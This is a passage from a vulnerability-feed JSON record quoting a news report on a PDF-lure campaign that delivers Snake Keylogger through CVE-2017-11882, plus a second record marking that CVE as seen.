formats, particularly Word and Excel, for the past decade, Schlapfer said. In the first quarter of 2022 alone, nearly half (45 percent) of malware stopped by HP Wolf Security used Office formats, according to researchers.\n\n\u201cThe reasons are clear: users are familiar with these file types, the applications used to open them are ubiquitous, and they are suited to social engineering lures,\u201d he wrote.\n\nStill, while the new campaign does use PDF in the file lure, it later employs Microsoft Word to deliver the ultimate payload\u2014the Snake Keylogger, researchers found. Snake Keylogger is a malware developed using .NET that first appeared in late 2020 and is aimed at stealing sensitive information from a victim\u2019s device, including saved credentials, the victim\u2019s keystrokes, screenshots of the victim\u2019s screen, and clipboard data, according to Fortinet. \u2018Unusual\u2019 CampaignThe HPW Wolf Security team noticed a new PDF-based threat campaign on March 23 with an \u201cunusual infection chain,\u201d involving not just a PDF but also \u201cseveral tricks to evade detection, such as embedding malicious files, loading remotely-hosted exploits and shellcode encryption,\u201d Schlapfer wrote.\n\nAttackers target victims with emails that include a PDF document named \u201cREMMITANCE INVOICE.pdf\u201d\u2014misspelling intended\u2013as attachment. If someone opens the file, Adobe Reader prompts the user to open a .docx file with a rather curious name, researchers found.\nSee Also: Complete Offensive Security and Ethical Hacking Course https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png \u201cThe attackers sneakily named the Word document \u201chas been verified. However PDF, Jpeg, xlsx, .docx\u201d to make it look as though the file name was part of the Adobe Reader prompt,\u201d according to the post.\n\nThe.docx file is stored as an EmbeddedFile object within the PDF, which opens Microsoft Word if clicked on, researchers found. If Protected View is disabled, Word downloads a Rich Text Format (.rtf) file from a web server, which then is run in the context of the open document.\n\nResearchers unzipped the contents of the .rtf\u2014which is an Office Open XML file\u2014finding a URL hidden in the \u201cdocument.xml.rels\u201d file that is not a legitimate domain found in Office documents, they said. 17-Year-Old Bug ExploitedConnecting to this URL leads to a redirect and then downloads an RTF document called \u201cf_document_shp.doc.\u00a0This document contained two \u201cnot well-formed\u201d OLE objects that revealed shellcode exploiting CVE-2017-11882, which researchers said is an \u201cover four-years-old\u201d remote code execution vulnerability (RCE) [...]", "creation_timestamp": "2026-09-02T01:01:48.407009Z"}, {"uuid": "b5da66d5-1afa-4d29-8608-a41aa0382acb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "Telegram/eSGsp3WtYnX4D6nk7zI0XrQXLVBIBFPNJ554BlveoPv5VcY", "content": "", "creation_timestamp": "2026-09-02T01:03:29.242896Z"}]}